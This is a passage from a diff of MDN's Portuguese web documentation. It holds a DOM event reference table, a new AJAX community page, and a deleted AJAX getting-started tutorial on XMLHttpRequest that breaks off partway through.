{{event("mousedown")}}{{domxref("MouseEvent")}}DOM L3A pointing device button (usually a mouse) is pressed on an element.
{{event("mouseenter")}}{{domxref("MouseEvent")}}DOM L3A pointing device is moved onto the element that has the listener attached.
{{event("mouseleave")}}{{domxref("MouseEvent")}}DOM L3A pointing device is moved off the element that has the listener attached.
{{event("mousemove")}}{{domxref("MouseEvent")}}DOM L3A pointing device is moved over an element.
{{event("mouseout")}}{{domxref("MouseEvent")}}DOM L3A pointing device is moved off the element that has the listener attached or off one of its children.
{{event("mouseover")}}{{domxref("MouseEvent")}}DOM L3A pointing device is moved onto the element that has the listener attached or onto one of its children.
{{event("mouseup")}}{{domxref("MouseEvent")}}DOM L3A pointing device button is released over an element.
{{event("nomatch")}} {{experimental_inline}}{{domxref("SpeechRecognitionEvent")}}{{SpecName('Web Speech API')}}The speech recognition service returns a final result with no significant recognition.
{{event("notificationclick")}}{{domxref("NotificationEvent")}} {{experimental_inline}}{{SpecName('Web Notifications','#dom-serviceworkerglobalscope-onnotificationclick','onnotificationclick')}}A system notification spawned by {{domxref("ServiceWorkerRegistration.showNotification()")}} has been clicked.
{{event("noupdate")}}{{domxref("Event")}}OfflineThe manifest hadn't changed.
{{event("obsolete")}}{{domxref("Event")}}OfflineThe manifest was found to have become a 404 or 410 page, so the application cache is being deleted.
{{event("offline")}}{{domxref("Event")}}HTML5 offlineThe browser has lost access to the network.
{{event("online")}}{{domxref("Event")}}HTML5 offlineThe browser has gained access to the network (but particular websites might be unreachable).
open{{domxref("Event")}}WebSocketA WebSocket connection has been established.
open{{domxref("Event")}}Server Sent EventsAn event source connection has been established.
{{event("orientationchange")}}{{domxref("Event")}}Screen OrientationThe orientation of the device (portrait/landscape) has changed
{{event("pagehide")}}{{domxref("PageTransitionEvent")}}HTML5A session history entry is being traversed from.
{{event("pageshow")}}{{domxref("PageTransitionEvent")}}HTML5A session history entry is being traversed to.
{{event("paste")}}{{domxref("ClipboardEvent")}} {{experimental_inline}}ClipboardData has been transferred from the system clipboard to the document.
{{event("pause")}}{{domxref("Event")}}HTML5 mediaPlayback has been paused.
{{event("pause_(SpeechSynthesis)", "pause")}} {{experimental_inline}}{{domxref("SpeechSynthesisEvent")}}{{SpecName('Web Speech API')}}The utterance is paused part way through.
{{event("pointercancel")}}{{domxref("PointerEvent")}}Pointer EventsThe pointer is unlikely to produce any more events.
{{event("pointerdown")}}{{domxref("PointerEvent")}}Pointer EventsThe pointer enters the active buttons state.
{{event("pointerenter")}}{{domxref("PointerEvent")}}Pointer EventsPointing device is moved inside the hit-testing boundary.
{{event("pointerleave")}}{{domxref("PointerEvent")}}Pointer EventsPointing device is moved out of the hit-testing boundary.
{{event("pointerlockchange")}}{{domxref("Event")}}Pointer LockThe pointer was locked or released.
{{event("pointerlockerror")}}{{domxref("Event")}}Pointer LockIt was impossible to lock the pointer for technical reasons or because the permission was denied.
{{event("pointermove")}}{{domxref("PointerEvent")}}Pointer EventsThe pointer changed coordinates.
{{event("pointerout")}}{{domxref("PointerEvent")}}Pointer EventsThe pointing device moved out of hit-testing boundary or leaves detectable hover range.
{{event("pointerover")}}{{domxref("PointerEvent")}}Pointer EventsThe pointing device is moved into the hit-testing boundary.
{{event("pointerup")}}{{domxref("PointerEvent")}}Pointer EventsThe pointer leaves the active buttons state.
{{event("play")}}{{domxref("Event")}}HTML5 mediaPlayback has begun.
{{event("playing")}}{{domxref("Event")}}HTML5 mediaPlayback is ready to start after having been paused or delayed due to lack of data.
{{event("popstate")}}{{domxref("PopStateEvent")}}HTML5A session history entry is being navigated to (in certain cases).
{{event("progress")}}{{domxref("ProgressEvent")}}Progress and XMLHttpRequestEm progresso.
progress{{domxref("ProgressEvent")}}OfflineThe user agent is downloading resources listed by the manifest.
{{event("push")}}{{domxref("PushEvent")}} {{experimental_inline}}{{SpecName("Push API")}}A Service Worker has received a push message.
{{event("pushsubscriptionchange")}}{{domxref("PushEvent")}} {{experimental_inline}}{{SpecName("Push API")}}A PushSubscription has expired.
{{event("ratechange")}}{{domxref("Event")}}HTML5 mediaThe playback rate has changed.
{{event("readystatechange")}}{{domxref("Event")}}HTML5 and XMLHttpRequestThe readyState attribute of a document has changed.
{{event("repeatEvent")}}{{domxref("TimeEvent")}}SVGA SMIL animation element is repeated.
{{event("reset")}}{{domxref("Event")}}DOM L2, HTML5A form is reset.
{{event("resize")}}{{domxref("UIEvent")}}DOM L3The document view has been resized.
{{event("resourcetimingbufferfull")}}{{domxref("Performance")}}Resource TimingThe browser's resource timing buffer is full.
{{event("result")}} {{experimental_inline}}{{domxref("SpeechRecognitionEvent")}} {{experimental_inline}}{{SpecName('Web Speech API')}}The speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app.
{{event("resume")}} {{experimental_inline}}{{domxref("SpeechSynthesisEvent")}} {{experimental_inline}}{{SpecName('Web Speech API')}}A paused utterance is resumed.
{{event("scroll")}}{{domxref("UIEvent")}}DOM L3The document view or an element has been scrolled.
{{event("seeked")}}{{domxref("Event")}}HTML5 mediaA seek operation completed.
{{event("seeking")}}{{domxref("Event")}}HTML5 mediaA seek operation began.
{{event("select")}}{{domxref("UIEvent")}}DOM L3Some text is being selected.
{{event("selectstart")}} {{experimental_inline}}{{domxref("Event")}}{{ SpecName('Selection API')}}A selection just started.
{{event("selectionchange")}} {{experimental_inline}}{{domxref("Event")}}{{ SpecName('Selection API')}}The selection in the document has been changed.
{{event("show")}}{{domxref("MouseEvent")}}HTML5A contextmenu event was fired on/bubbled to an element that has a contextmenu attribute
{{event("soundend")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}Any sound — recognisable speech or not — has stopped being detected.
{{event("soundstart")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}Any sound — recognisable speech or not — has been detected.
{{event("speechend")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}Speech recognised by the speech recognition service has stopped being detected.
{{event("speechstart")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}Sound that is recognised by the speech recognition service as speech has been detected.
{{event("stalled")}}{{domxref("Event")}}HTML5 mediaThe user agent is trying to fetch media data, but data is unexpectedly not forthcoming.
{{event("start_(SpeechRecognition)","start")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}The speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current SpeechRecognition.
{{event("start_(SpeechSynthesis)","start")}}{{domxref("SpeechSynthesisEvent")}}{{SpecName('Web Speech API')}}The utterance has begun to be spoken.
{{event("storage")}}{{domxref("StorageEvent")}}Web StorageA storage area (localStorage or sessionStorage) has changed.
{{event("submit")}}{{domxref("Event")}}DOM L2, HTML5A form is submitted.
success{{domxref("Event")}}IndexedDBA request successfully completed.
{{event("suspend")}}{{domxref("Event")}}HTML5 mediaMedia data loading has been suspended.
{{event("SVGAbort")}}{{domxref("SVGEvent")}}SVGPage loading has been stopped before the SVG was loaded.
{{event("SVGError")}}{{domxref("SVGEvent")}}SVGAn error has occurred before the SVG was loaded.
{{event("SVGLoad")}}{{domxref("SVGEvent")}}SVGAn SVG document has been loaded and parsed.
{{event("SVGResize")}}{{domxref("SVGEvent")}}SVGAn SVG document is being resized.
{{event("SVGScroll")}}{{domxref("SVGEvent")}}SVGAn SVG document is being scrolled.
{{event("SVGUnload")}}{{domxref("SVGEvent")}}SVGAn SVG document has been removed from a window or frame.
{{event("SVGZoom")}}{{domxref("SVGZoomEvent")}}SVGAn SVG document is being zoomed.
{{event("timeout")}}{{domxref("ProgressEvent")}}XMLHttpRequest 
{{event("timeupdate")}}{{domxref("Event")}}HTML5 mediaThe time indicated by the currentTime attribute has been updated.
{{event("touchcancel")}}{{domxref("TouchEvent")}}Touch EventsA touch point has been disrupted in an implementation-specific manners (too many touch points for example).
{{event("touchend")}}{{domxref("TouchEvent")}}Touch EventsA touch point is removed from the touch surface.
{{event("touchmove")}}{{domxref("TouchEvent")}}Touch EventsA touch point is moved along the touch surface.
{{event("touchstart")}}{{domxref("TouchEvent")}}Touch EventsA touch point is placed on the touch surface.
{{event("transitionend")}}{{domxref("TransitionEvent")}} {{experimental_inline}}CSS TransitionsA CSS transition has completed.
{{event("unload")}}{{domxref("UIEvent")}}DOM L3The document or a dependent resource is being unloaded.
{{event("updateready")}}{{domxref("Event")}}OfflineThe resources listed in the manifest have been newly redownloaded, and the script can use swapCache() to switch to the new cache.
upgradeneeded IndexedDBAn attempt was made to open a database with a version number higher than its current version. A versionchange transaction has been created.
{{event("userproximity")}}{{domxref("UserProximityEvent")}} {{experimental_inline}}{{SpecName("Proximity Events")}}Fresh data is available from a proximity sensor (indicates whether the nearby object is near the device or not).
{{event("voiceschanged")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}The list of {{domxref("SpeechSynthesisVoice")}} objects that would be returned by the {{domxref("SpeechSynthesis.getVoices()")}} method has changed (when the {{event("voiceschanged")}} event fires.)
versionchange IndexedDBA versionchange transaction completed.
{{event("visibilitychange")}}{{domxref("Event")}}Page visibilityThe content of a tab has become visible or has been hidden.
{{event("volumechange")}}{{domxref("Event")}}HTML5 mediaThe volume has changed.
{{event("waiting")}}{{domxref("Event")}}HTML5 mediaPlayback has stopped because of a temporary lack of data.
{{event("wheel")}}{{gecko_minversion_inline("17")}}{{domxref("WheelEvent")}}DOM L3A wheel button of a pointing device is rotated in any direction.
+ +

Eventos não padrão

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Nome do EventoTipo de EventoEspecificaçãoExecutado quando...
{{event("afterscriptexecute")}}{{domxref("Event")}}Mozilla SpecificA script has been executed.
{{event("beforescriptexecute")}}{{domxref("Event")}}Mozilla SpecificA script is about to be executed.
{{event("beforeinstallprompt")}}{{domxref("Event")}}Chrome specificA user is prompted to save a web site to a home screen on mobile.
{{event("cardstatechange")}} Firefox OS specificThe {{domxref("MozMobileConnection.cardState")}} property changes value.
{{event("change")}}{{domxref("DeviceStorageChangeEvent")}}Firefox OS specificThis event is triggered each time a file is created, modified or deleted on a given storage area.
{{event("connectionInfoUpdate")}} Firefox OS specificThe informations about the signal strength and the link speed have been updated.
{{event("cfstatechange")}} Firefox OS specificThe call forwarding state changes.
{{event("datachange")}} Firefox OS specificThe {{domxref("MozMobileConnection.data")}} object changes values.
{{event("dataerror")}} Firefox OS specificThe {{domxref("MozMobileConnection.data")}} object receive an error from the RIL.
{{event("DOMMouseScroll")}}{{deprecated_inline}} Mozilla specificThe wheel button of a pointing device is rotated (detail attribute is a number of lines). (use {{event("wheel")}} instead)
dragdrop {{deprecated_inline}}DragEventMozilla specificAn element is dropped (use {{event("drop")}} instead).
dragexit {{deprecated_inline}}DragEventMozilla specificA drag operation is being ended(use {{event("dragend")}} instead).
draggesture {{deprecated_inline}}DragEventMozilla specificThe user starts dragging an element or text selection (use {{event("dragstart")}} instead).
{{event("icccardlockerror")}} Firefox OS specificthe {{domxref("MozMobileConnection.unlockCardLock()")}} or {{domxref("MozMobileConnection.setCardLock()")}} methods fails.
{{event("iccinfochange")}} Firefox OS specificThe {{domxref("MozMobileConnection.iccInfo")}} object changes.
{{event("localized")}} Mozilla SpecificThe page has been localized using data-l10n-* attributes.
{{event("mousewheel")}}{{deprecated_inline}} IE inventedThe wheel button of a pointing device is rotated.
{{event("MozAudioAvailable")}}{{domxref("Event")}}Mozilla specificThe audio buffer is full and the corresponding raw samples are available.
MozBeforeResize {{obsolete_inline}} Mozilla specificUma janela está prestes a ser redimensionada.
{{event("mozbrowseractivitydone")}} Firefox OS Browser API-specificSent when some activity has been completed (complete description TBD.)
{{event("mozbrowserasyncscroll")}} Firefox OS Browser API-specificSent when the scroll position within a browser {{HTMLElement("iframe")}} changes.
{{event("mozbrowseraudioplaybackchange")}} Firefox OS Browser API-specificSent when audio starts or stops playing within the browser {{HTMLElement("iframe")}} content.
{{event("mozbrowsercaretstatechanged")}} Firefox OS Browser API-specificSent when the text selected inside the browser {{HTMLElement("iframe")}} content changes.
{{event("mozbrowserclose")}} Firefox OS Browser API-specificSent when window.close() is called within a browser {{HTMLElement("iframe")}}.
{{event("mozbrowsercontextmenu")}} Firefox OS Browser API-specificSent when a browser {{HTMLElement("iframe")}} try to open a context menu.
{{event("mozbrowserdocumentfirstpaint")}} Firefox OS Browser API-specificSent when a new paint occurs on any document in the browser {{HTMLElement("iframe")}}.
{{event("mozbrowsererror")}} Firefox OS Browser API-specificSent when an error occured while trying to load a content within a browser iframe
{{event("mozbrowserfindchange")}} Firefox OS Browser API-specificSent when a search operation is performed on the browser {{HTMLElement("iframe")}} content (see HTMLIFrameElement search methods.)
{{event("mozbrowserfirstpaint")}} Firefox OS Browser API-specificSent when the {{HTMLElement("iframe")}} paints content for the first time (this doesn't include the initial paint from about:blank.)
{{event("mozbrowsericonchange")}} Firefox OS Browser API-specificSent when the favicon of a browser iframe changes.
{{event("mozbrowserlocationchange")}} Firefox OS Browser API-specificSent when an browser iframe's location changes.
{{event("mozbrowserloadend")}} Firefox OS Browser API-specificSent when the browser iframe has finished loading all its assets.
{{event("mozbrowserloadstart")}} Firefox OS Browser API-specificSent when the browser iframe starts to load a new page.
{{event("mozbrowsermanifestchange")}} Firefox OS Browser API-specificSent when a the path to the app manifest changes, in the case of a browser {{HTMLElement("iframe")}} with an open web app embedded in it.
{{event("mozbrowsermetachange")}} Firefox OS Browser API-specificSent when a {{htmlelement("meta")}} elelment is added to, removed from or changed in the browser {{HTMLElement("iframe")}}'s content.
{{event("mozbrowseropensearch")}} Firefox OS Browser API-specificSent when a link to a search engine is found.
{{event("mozbrowseropentab")}} Firefox OS Browser API-specificSent when a new tab is opened within a browser {{HTMLElement("iframe")}} as a result of the user issuing a command to open a link target in a new tab (for example ctrl/cmd + click.)
{{event("mozbrowseropenwindow")}} Firefox OS Browser API-specificSent when {{domxref("window.open()")}} is called within a browser iframe.
{{event("mozbrowserresize")}} Firefox OS Browser API-specificSent when the browser {{HTMLElement("iframe")}}'s window size has changed.
{{event("mozbrowserscroll")}} Firefox OS Browser API-specificSent when the browser {{HTMLElement("iframe")}} content scrolls.
{{event("mozbrowserscrollareachanged")}} Firefox OS Browser API-specificSent when the available scrolling area  in the browser {{HTMLElement("iframe")}} changes. This can occur on resize and when the page size changes (while loading for example.)
{{event("mozbrowserscrollviewchange")}} Firefox OS Browser API-specificSent when asynchronous scrolling (i.e. APCZ) starts or stops.
{{event("mozbrowsersecuritychange")}} Firefox OS Browser API-specificSent when the SSL state changes within a browser iframe.
{{event("mozbrowserselectionstatechanged")}} Firefox OS Browser API-specificSent when the text selected inside the browser {{HTMLElement("iframe")}} content changes. Note that this is deprecated, and newer implementations use {{event("mozbrowsercaretstatechanged")}} instead.
{{event("mozbrowsershowmodalprompt")}} Firefox OS Browser API-specificSent when {{domxref("window.alert","alert()")}}, {{domxref("window.confirm","confirm()")}} or {{domxref("window.prompt","prompt()")}} are called within a browser iframe
{{event("mozbrowsertitlechange")}} Firefox OS Browser API-specificSent when the document.title changes within a browser iframe.
{{event("mozbrowserusernameandpasswordrequired")}} Firefox OS Browser API-specificSent when an HTTP authentification is requested.
{{event("mozbrowservisibilitychange")}} Firefox OS Browser API-specificSent when the visibility state of the current browser iframe {{HTMLElement("iframe")}} changes, for example due to a call to {{domxref("HTMLIFrameElement.setVisible","setVisible()")}}.
{{event("MozGamepadButtonDown")}} To be specifiedA gamepad button is pressed down.
{{event("MozGamepadButtonUp")}} To be specifiedA gamepad button is released.
{{event("MozMousePixelScroll")}} {{deprecated_inline}} Mozilla specificThe wheel button of a pointing device is rotated (detail attribute is a number of pixels). (use wheel instead)
{{event("MozOrientation")}} {{deprecated_inline}} Mozilla specificFresh data is available from an orientation sensor (see deviceorientation).
{{event("MozScrolledAreaChanged")}}{{domxref("UIEvent")}}Mozilla specificThe document view has been scrolled or resized.
{{event("moztimechange")}} Mozilla specificThe time of the device has been changed.
MozTouchDown {{deprecated_inline}} Mozilla specificA touch point is placed on the touch surface (use touchstart instead).
MozTouchMove {{deprecated_inline}} Mozilla specificA touch point is moved along the touch surface (use touchmove instead).
MozTouchUp {{deprecated_inline}} Mozilla specificA touch point is removed from the touch surface (use touchend instead).
{{event("alerting")}}{{domxref("CallEvent")}}To be specifiedThe correspondent is being alerted (his/her phone is ringing).
{{event("busy")}}{{domxref("CallEvent")}}To be specifiedThe line of the correspondent is busy.
{{event("callschanged")}}{{domxref("CallEvent")}}To be specifiedA call has been added or removed from the list of current calls.
onconnected {{event("connected")}}{{domxref("CallEvent")}}To be specifiedA call has been connected.
{{event("connecting")}}{{domxref("CallEvent")}}To be specifiedA call is about to connect.
{{event("delivered")}}{{domxref("SMSEvent")}}To be specifiedAn SMS has been successfully delivered.
{{event("dialing")}}{{domxref("CallEvent")}}To be specifiedThe number of a correspondent has been dialed.
{{event("disabled")}} Firefox OS specificWifi has been disabled on the device.
{{event("disconnected")}}{{domxref("CallEvent")}}To be specifiedA call has been disconnected.
{{event("disconnecting")}}{{domxref("CallEvent")}}To be specifiedA call is about to disconnect.
{{event("enabled")}} Firefox OS specificWifi has been enabled on the device.
{{event("error_(Telephony)","error")}}{{domxref("CallEvent")}}To be specifiedAn error occurred.
{{event("held")}}{{domxref("CallEvent")}}To be specifiedA call has been held.
{{event("holding")}}{{domxref("CallEvent")}}To be specifiedA call is about to be held.
{{event("incoming")}}{{domxref("CallEvent")}}To be specifiedA call is being received.
{{event("received")}}{{domxref("SMSEvent")}}To be specifiedAn SMS has been received.
{{event("resuming")}}{{domxref("CallEvent")}}To be specifiedA call is about to resume.
{{event("sent")}}{{domxref("SMSEvent")}}To be specifiedAn SMS has been sent.
{{event("statechange")}}{{domxref("CallEvent")}}To be specifiedThe state of a call has changed.
{{event("statuschange")}} Firefox OS specificThe status of the Wifi connection changed.
{{event("overflow")}}{{domxref("UIEvent")}}Mozilla specificAn element has been overflowed by its content or has been rendered for the first time in this state (only works for elements styled with overflow != visible).
{{event("smartcard-insert")}} Mozilla specificA smartcard has been inserted.
{{event("smartcard-remove")}} Mozilla specificA smartcard has been removed.
{{event("stkcommand")}} Firefox OS specificThe STK Proactive Command is issued from ICC.
{{event("stksessionend")}} Firefox OS specificThe STK Session is terminated by ICC.
text Mozilla SpecificA generic composition event occurred.
{{event("touchenter")}}{{domxref("TouchEvent")}}Touch Events Removed 
{{event("touchleave")}}{{domxref("TouchEvent")}}Touch Events Removed 
{{event("underflow")}}{{domxref("UIEvent")}}Mozilla specificAn element is no longer overflowed by its content (only works for elements styled with overflow != visible).
uploadprogress {{deprecated_inline}}{{domxref("ProgressEvent")}}Mozilla SpecificUpload is in progress (see {{event("progress")}}).
+

{{event("ussdreceived")}}

+
 Firefox OS specificA new USSD message is received
{{event("voicechange")}} Firefox OS specificThe {{domxref("MozMobileConnection.voice")}} object changes values.
+ +

Eventos específicos da Mozilla

+ +
+

Nota: esses eventos nunca são expostos ao conteúdo da Web e só podem ser utilizados no contexto de conteúdo do Chrome.

+
+ +

Eventos de XUL

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Nome do EventoTipo de EventoEspecificaçãoExecutado quando...
{{event("broadcast")}} XULAn observer noticed a change to the attributes of a watched broadcaster.
{{event("CheckboxStateChange")}} XULThe state of a checkbox has been changed either by a user action or by a script (useful for accessibility).
close XULThe close button of the window has been clicked.
{{event("command")}} XULAn element has been activated.
{{event("commandupdate")}} XULA command update occurred on a commandset element.
{{event("DOMMenuItemActive")}} XULA menu or menuitem has been hovered or highlighted.
{{event("DOMMenuItemInactive")}} XULA menu or menuitem is no longer hovered or highlighted.
{{event("popuphidden")}}PopupEventXULA menupopup, panel or tooltip has been hidden.
{{event("popuphiding")}}PopupEventXULA menupopup, panel or tooltip is about to be hidden.
{{event("popupshowing")}}PopupEventXULA menupopup, panel or tooltip is about to become visible.
{{event("popupshown")}}PopupEventXULA menupopup, panel or tooltip has become visible.
{{event("RadioStateChange")}} XULThe state of a radio has been changed either by a user action or by a script (useful for accessibility).
{{event("ValueChange")}} XULThe value of an element has changed (a progress bar for example, useful for accessibility).
+ +

Enventos específicos de extras

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Nome do EventoTipo de EventoEspecificaçãoExecutado quando...
MozSwipeGesture Addons specificA touch point is swiped across the touch surface
MozMagnifyGestureStart Addons specificTwo touch points start to move away from each other.
MozMagnifyGestureUpdate Addons specificTwo touch points move away from each other (after a MozMagnifyGestureStart).
MozMagnifyGesture Addons specificTwo touch points moved away from each other (after a sequence of MozMagnifyGestureUpdate).
MozRotateGestureStart Addons specificTwo touch points start to rotate around a point.
MozRotateGestureUpdate Addons specificTwo touch points rotate around a point (after a MozRotateGestureStart).
MozRotateGesture Addons specificTwo touch points rotate around a point (after a sequence of MozRotateGestureUpdate).
MozTapGesture Addons specificTwo touch points are tapped on the touch surface.
MozPressTapGesture Addons specificA "press-tap" gesture happened on the touch surface (first finger down, second finger down, second finger up, first finger up).
MozEdgeUIGesture Addons specificA touch point is swiped across the touch surface to invoke the edge UI (Win8 only).
MozAfterPaint Addons specificContent has been repainted.
DOMPopupBlocked Addons specificA popup has been blocked
DOMWindowCreated Addons specificA window has been created.
DOMWindowClose Addons specificA window is about to be closed.
DOMTitleChanged Addons specifcThe title of a window has changed.
DOMLinkAdded Addons specifcA link has been added a document.
DOMLinkRemoved Addons specifcA link has been removed inside from a document.
DOMMetaAdded Addons specificA meta element has been added to a document.
DOMMetaRemoved Addons specificA meta element has been removed from a document.
DOMWillOpenModalDialog Addons specificA modal dialog is about to open.
DOMModalDialogClosed Addons specificA modal dialog has been closed.
DOMAutoComplete Addons specificThe content of an element has been auto-completed.
DOMFrameContentLoaded Addons specificThe frame has finished loading (but not its dependent resources).
AlertActive Addons specificA notification element is shown.
AlertClose Addons specificA notification element is closed.
fullscreen Addons specificBrowser fullscreen mode has been entered or left.
sizemodechange Addons specificWindow has entered/left fullscreen mode, or has been minimized/unminimized.
MozEnteredDomFullscreen Addons specificDOM fullscreen mode has been entered.
SSWindowClosing Addons specificThe session store will stop tracking this window.
SSTabClosing Addons specificThe session store will stop tracking this tab.
SSTabRestoring Addons specificA tab is about to be restored.
SSTabRestored Addons specificA tab has been restored.
SSWindowStateReady Addons specificA window state has switched to "ready".
SSWindowStateBusy Addons specificA window state has switched to "busy".
TabOpen Addons specificA tab has been opened.
TabClose Addons specificA tab has been closed.
TabSelect Addons specificA tab has been selected.
TabShow Addons specificA tab has been shown.
TabHide Addons specificA tab has been hidden.
TabPinned Addons specificA tab has been pinned.
TabUnpinned Addons specificA tab has been unpinned.
+ +

Eventos específicos da ferramenta do programador

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Nome do EventoTipo de EventoEspecificaçãoExecutado quando...
CssRuleViewRefreshed devtools specificThe "Rules" view of the style inspector has been updated.
CssRuleViewChanged devtools specificThe "Rules" view of the style inspector has been changed.
CssRuleViewCSSLinkClicked devtools specificA link to a CSS file has been clicked in the "Rules" view of the style inspector.
+ +

Consulte também

+ + + +
+ + + + + +
diff --git a/files/pt-pt/web/guide/ajax/community/index.html b/files/pt-pt/web/guide/ajax/community/index.html new file mode 100644 index 0000000000..98a2936999 --- /dev/null +++ b/files/pt-pt/web/guide/ajax/community/index.html @@ -0,0 +1,22 @@ +--- +title: Comunidade +slug: Web/Guide/AJAX/Comunidade +tags: + - AJAX +translation_of: Web/Guide/AJAX/Community +--- +

Se conhece listas de discussão úteis, grupos de notícias, fóruns, ou outras comunidades relacionadas com AJAX, interligue-os aqui.

+ +

Recursos Ajax

+ +

Ajax - Conferências e Cursos

+ + + +

{{ languages( { "ja": "ja/AJAX/Community", "fr": "fr/AJAX/Communaut\u00e9" } ) }}

diff --git "a/files/pt-pt/web/guide/ajax/como_come\303\247ar/index.html" "b/files/pt-pt/web/guide/ajax/como_come\303\247ar/index.html" deleted file mode 100644 index f067252d2d..0000000000 --- "a/files/pt-pt/web/guide/ajax/como_come\303\247ar/index.html" +++ /dev/null @@ -1,305 +0,0 @@ ---- -title: Primeiros Passos -slug: Web/Guide/AJAX/Como_começar -tags: - - AJAX - - API - - Avançado - - JavaScript - - Mecânica da Web - - XMLHttpRequest -translation_of: Web/Guide/AJAX/Getting_Started ---- -

Este artigo guia-o através do essencial do AJAX e oferece-lhe dois exemplos práticos simples para poder começar.

- -

O que é AJAX?

- -

AJAX (JavaScript Assíncrono e XML) em poucas palavras, é a utilização do objeto XMLHttpRequest para comunicar com os servidores. Este pode enviar e receber informação em vários formatos, incluindo JSON, XML, HTML e ficheiros de texto. A característica mais atraente do AJAX é a sua natureza 'assíncrona', o que significa que este pode comunicar com o servidor, trocar dados, e atualizar a página sem ter que recarregar a página.

- -

As duas principais funcionalidades do AJAX são as seguintes:

- - - -

Passo 1 - Como efetuar um pedido de HTTP

- -

Para fazer uma requisição HTTP ao servidor usando JavaScript, você precisa de uma instância de uma classe que disponibilize essa funcionalidade. Tal classe foi primeiro introduzida no Internet Explorer sob a forma de um objecto ActiveX chamado XMLHTTP. Depois, o Mozilla, o Safari e outros browsers fizeram o mesmo, implementando uma classe de nome XMLHttpRequest que suporta os métodos e as propriedades do objecto ActiveX original da Microsoft.

- -

Por isso, para criar uma instância (objeto) da classe pretendida compatível com multiplos navegadores, você pode fazer:

- -
if (window.XMLHttpRequest) { // Mozilla, Safari, ...
-    http_request = new XMLHttpRequest();
-} else if (window.ActiveXObject) { // IE
-    http_request = new ActiveXObject("Microsoft.XMLHTTP");
-}
-
-
- -

(só a título de exemplo, o código acima é uma versão simplificada do código a ser usado para a criação de uma instância XMLHTTP. Para um exemplo mais "vida real", dê uma olhada ao 3º passo deste artigo.)

- -

Algumas versões de alguns browsers Mozilla não irão funcionar bem se a resposta do servidor não possuir um cabeçalho mime-type XML. Para satisfazer isto, você pode usar uma chamada extra a um método para ultrapassar o cabeçalho enviado pelo servidor, só no caso de não ser no formato text/xml.

- -
http_request = new XMLHttpRequest();
-http_request.overrideMimeType('text/xml');
-
- -

A próxima coisa a ser feita é decidir o que quer fazer após receber a resposta do servidor ao seu pedido. Nesta etapa só precisa de dizer ao objecto pedido HTTP que função JavaScript irá processar a resposta. Isto é feito definindo a propriedade onreadystatechange do objeto ao nome da função JavaScript que pretende utilizar, por exemplo:

- -

http_request.onreadystatechange = NomedaFunção;

- -

Note-se que não existem chaves após o nome da função e não são passados parâmetros. Também, em vez de dar um nome a função, você pode usar a técnica JavaScript de definir funções na hora (chamadas funções anônimas) e definir as ações que vão processar a resposta logo, por exemplo:

- -
http_request.onreadystatechange = function(){
-    // processar resposta do servidor
-};
-
- -

Em seguida, após ter declarado o que vai acontecer mal receba a resposta, você precisa de consumar o pedido. Precisa de chamar os métodos open() e send() da classe pedido HTTP, por exemplo:

- -
http_request.open('GET', 'http://www.dominio.com.br/arquivo.extensao', true);
-http_request.send(null);
-
- - - -

O parâmetro do método send() pode ser costituido por quaisquer dados que pretenda enviar ao servidor ao enviar (POST) o pedido. Os dados devem estar sob a forma de uma linha de texto de pergunta, tipo:

- -

name=value&anothername=othervalue&so=on

- -

ou em vários outros formatos, incluindo JSON, SOAP, etc.

- -

Note-se que se pretende enviar (POST) dados, você deve alterar o tipo MIME do pedido usando a seguinte linha:

- -
http_request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
-
- -

De outra forma o servidor irá ignorar os dados (post).

- -

Pode-se também colocar o charset desejado assim:

- -
http_request.setRequestHeader('Content-Type',
-                           "application/x-www-form-urlencoded; charset=iso-8859-1");
-
- -

Outro ponto importante é controle do cache, pois caso haja necessidadde de reenviar a consulta, pode ser que o objeto retorne o que está no cache do navegador. Para evitar esse tipo de transtorno as linhas abaixo eliminam essas possibilidades:

- -
 http_request.setRequestHeader("Cache-Control",
-                               "no-store, no-cache, must-revalidate");
-http_request.setRequestHeader("Cache-Control",
-                              "post-check=0, pre-check=0");
-http_request.setRequestHeader("Pragma", "no-cache");
-
- -

Passo 2 - Manipular a resposta do servidor

- -

Lembre-se que quando estava a enviar o pedido, você providenciou o nome de uma função JavaScript que é criada para lidar com a resposta.

- -

http_request.onreadystatechange = nameOfTheFunction;

- -

